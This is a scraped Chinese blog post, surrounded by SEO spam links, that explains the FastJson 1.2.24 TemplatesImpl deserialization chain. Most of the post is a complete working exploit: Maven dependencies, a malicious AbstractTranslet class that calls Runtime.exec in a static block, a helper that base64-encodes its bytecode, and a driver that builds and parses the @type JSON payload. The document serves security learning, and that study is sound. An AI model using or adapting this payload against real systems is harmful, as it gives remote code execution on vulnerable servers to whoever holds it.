当前位置: 首页 > news >正文

网站开发技术 下载河南企业建站系统信息

网站开发技术 下载,河南企业建站系统信息,公司网站建设推进表,上海百度做网站目录 简要原理分析 exp 前文:【Web】关于FastJson反序列化开始前的那些前置知识 简要原理分析 众所周知TemplatesImpl的利用链是这样的: TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransl…

目录

简要原理分析

exp


前文:【Web】关于FastJson反序列化开始前的那些前置知识

简要原理分析

众所周知TemplatesImpl的利用链是这样的:

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

而getOutputProperties()正是TemplatesImpl的_outputProperties属性对应的getter方法

所以我们只要利用FJ反序列化会调用类的getter方法的特性来打TemplatesImpl即可

需要注意几点:

在调用TemplatesImpl利用链时,defineTransletClasses方法内部会通过_tfactory属性调用一个getExternalExtensionsMap方法,如果_tfactory属性为null则会抛出异常,无法根据_bytecodes属性的内容加载并实例化恶意类

②getTransletInstance方法中判断if (_name == null) return null; 所以要给_name赋值(String)

③_outputProperties:json数据在反序列化时会调用TemplatesImpl类的getOutputProperties方法触发利用链,可以理解为outputProperties属性的作用就是为了调用getOutputProperties方法。

④由于更改的一些TemplatesImpl私有变量没有 setter 方法,需要使用 Feature.SupportNonPublicField 参数。也正是因此,TemplatesImpl这条链的泛用性不强(

exp

pom依赖

 <dependencies><dependency> <groupId>com.alibaba</groupId><artifactId>fastjson</artifactId> <version>1.2.24</version></dependency><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.29.2-GA</version></dependency></dependencies>

恶意类

package com.FJ;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {//构造RCE代码static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

字节码转base64小工具

package com.FJ;import javassist.ClassPool;
import java.util.Base64;public class base64util {public static void main(String[] args) throws Exception {byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();System.out.println(Base64.getEncoder().encodeToString(code));}
}

召唤计算器的咒语

package com.FJ;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import javassist.*;
import java.io.IOException;public class FJ {public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException {//恶意类Evil转换成字节码,base64编码String byteCode = "yv66vgAAADcAMwoACAAjCgAkACUIACYKACQAJwcAKAoABQApBwAqBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MY29tL0ZKL0V2aWw7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACwBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAJAAoHAC0MAC4ALwEABGNhbGMMADAAMQEAE2phdmEvaW8vSU9FeGNlcHRpb24MADIACgEAC2NvbS9GSi9FdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAJAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAATAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAWAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABhAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAMADAAAABYABQAAAA0ACQAQAAwADgANAA8AEQARAA0AAAAMAAEADQAEAB4AHwAAACAAAAAHAAJMBwAFBAABACEAAAACACI=";//构造TemplatesImpl的json数据,并将恶意类注入到json数据中final String EVIL_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String payload = "{\"@type\":\"" + EVIL_CLASS +"\",\"_bytecodes\":[\""+byteCode+"\"]," +"'_name':'XXX'," +"'_tfactory':{}," + //这段代码中的{}是用来表示空的对象实例"\"_outputProperties\":{}}\n";System.out.println(payload);//反序列化Object object = JSON.parseObject(payload,Feature.SupportNonPublicField);}
}
http://www.yayakq.cn/news/600379/

相关文章:

  • 云网站建设 优帮云个人网站建设方案书备案
  • 做电影下载网站成本网站几个数据库
  • 上海企业网站建设方案泉州seo顾问
  • 银川网站设计建设wordpress esc html x
  • 建设一个网站需要多少钱企业品牌策划推广方案
  • 手机百度免费下载游戏优化
  • 用ps做三网站横幅腾讯云企业官网建设
  • 射阳做网站多少钱平面设计教学视频
  • 怀化同城网站wordpress 图标上传
  • 乐云seo模板网站建设长春做网站好的公司
  • 南宁网站建设公司利润科技网站大全
  • 男女做暖暖的视频试看网站无锡信息网招聘
  • 猫扑网站开发的网络游戏外贸网站推广企业
  • 运输房产网站建设信誉好的大良网站建设
  • 嘉定网站设计制作报价合肥网站建设兼职
  • 网站后期维护费用多少wordpress 短代码嵌套
  • 上广东建设厅网站沾化网站建设
  • 兴远建设网站河北廊坊百度建站
  • 品牌网站建设熊掌号wordpress悬浮下拉
  • 品牌网站建设 结构页面设计word
  • 中职 网站建设与管理专门做婚庆的网站
  • 温州网站制作费用关键词seo排名公司
  • 茂名网站建设教做电影解析网站
  • 网站分类代码wordpress访问太慢
  • 超酷网站安全邮箱注册网站
  • 资讯网站做app汉语资源建设相关网站
  • 国外图片网站源码哪种编程语言可以做网站
  • 江苏国龙翔建设网站app定制化开发
  • 成都建网站比较好的公司6网站备案和前置审批
  • 网站服务器管理 硬件江西省建设厅网站资质升级查询